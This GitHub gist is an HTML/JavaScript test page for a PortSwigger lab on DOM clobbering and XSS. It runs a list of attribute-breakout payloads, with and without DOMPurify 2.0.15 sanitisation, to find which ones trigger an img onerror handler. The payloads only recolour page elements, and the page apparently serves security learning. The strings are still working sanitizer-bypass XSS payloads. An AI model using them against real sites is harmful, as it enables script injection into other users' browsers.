Skip to content

Instantly share code, notes, and snippets.

@c4mx
Last active September 18, 2023 16:29
Show Gist options
  • Save c4mx/407b91607aa9c429e85c578ef8fb8557 to your computer and use it in GitHub Desktop.
Save c4mx/407b91607aa9c429e85c578ef8fb8557 to your computer and use it in GitHub Desktop.
PortSwigger lab: Exploiting DOM clobbering to enable XSS
<html>
<head>
<script src='./domPurify-2.0.15.js'></script>
</head>
<body>
<style>
.text {
font-size: 16px;
font-weight: bold;
}
.output_pre {
color: red;
}
.title {
color: red;
}
.demo {
border-style: dashed;
position: relative;
padding: 4px;
left: 16px;
}
.demo-dompurify {
border-style: solid;
border-color: blue;
position: relative;
left: 16px;
padding: 4px;
}
hr.divider {
border-top: 8px solid #DAF7A6;
border-bottom: 8px solid #DAF7A6;
border-radius: 5px;
}
</style>
<script>
function create_demo(id, payload, useDOMPurify) {
// prepare demo block
let block = document.createElement('div');
block.className = 'demo';
// prepare payload id
let titleId = document.createElement('h2');
titleId.innerText = 'Test-' + id + ': ' + payload;
titleId.className = 'title in_out_' + id;
block.append(titleId);
// prepare anchor
let div = document.createElement('div');
let aHTML;
if (useDOMPurify) {
aHTML = '<a class=input id=in_dp_' + id + ' href=' + payload + '/>';
aHTML = DOMPurify.sanitize(aHTML);
block.className = 'demo-dompurify';
} else {
aHTML = '<a class=input id=in_' + id + ' href=' + payload + '/>';
}
div.innerHTML = aHTML;
let a = div.firstChild;
let title = document.createElement('h3');
title.innerText = useDOMPurify? 'Input (DOMPurified):' : 'Input:';
block.append(title);
block.append(div);
// prepre pre to show anchor
let pre_in = document.createElement('pre');
pre_in.innerText = a.outerHTML;
pre_in.className = 'text';
block.append(pre_in);
// show a.toString()
title = document.createElement('h3');
title.innerText = 'a.toString():';
block.append(title);
href = document.createElement('pre');
href.className = 'text';
href.innerText = a.toString();
block.append(href);
// prepare img
div = document.createElement('div');
let imgHTML = '<img class=output id=' + a.id + ' src="' + a.toString() + '"/>';
div.innerHTML = imgHTML;
img = div.firstChild;
img.id = 'out_' + id;
block.append(div);
// prepre pre to show img
title = document.createElement('h3');
title.innerText = 'Output:';
block.append(title);
let pre_out = document.createElement('pre');
pre_out.innerText = img.outerHTML;
pre_out.className = 'text output_pre in_out_' + id;
pre_out.id = 'output_pre_' + img.id;
block.append(pre_out);
document.body.append(block);
document.body.append(document.createElement('br'));
}
let payloads = [
'&quot;onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//',
'"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//',
'callto:&quot;onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//',
'mailto:"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//',
'tel:"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//',
'about:"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//',
'cid:&quot;onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//',
'a?1:"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//',
'a:"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//',
'x"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//',
'xxx#:"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//',
'#"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//',
'@"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//',
'1a:"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//',
'"a=\'b\'onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//',
'a1:&quot;onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//'
]
function generatePrintableCharacters() {
const printableChars = [];
for (let charCode = 32; charCode <= 126; charCode++) {
printableChars.push(String.fromCharCode(charCode));
}
return printableChars;
}
function testAllPrintableChars() {
const printableCharacterList = generatePrintableCharacters();
let payloads = [];
for (c of printableCharacterList) {
payloads.push('a'+c+':"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//')
}
for (var i = 0; i < payloads.length; i++) {
create_demo(i+'a', payloads[i], false);
let divider = document.createElement('hr');
divider.className = 'divider';
document.body.append(divider);
}
}
for (var i = 0; i < payloads.length; i++) {
create_demo(i+'a', payloads[i], false);
create_demo(i+'b', payloads[i], true);
let divider = document.createElement('hr');
divider.className = 'divider';
document.body.append(divider);
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment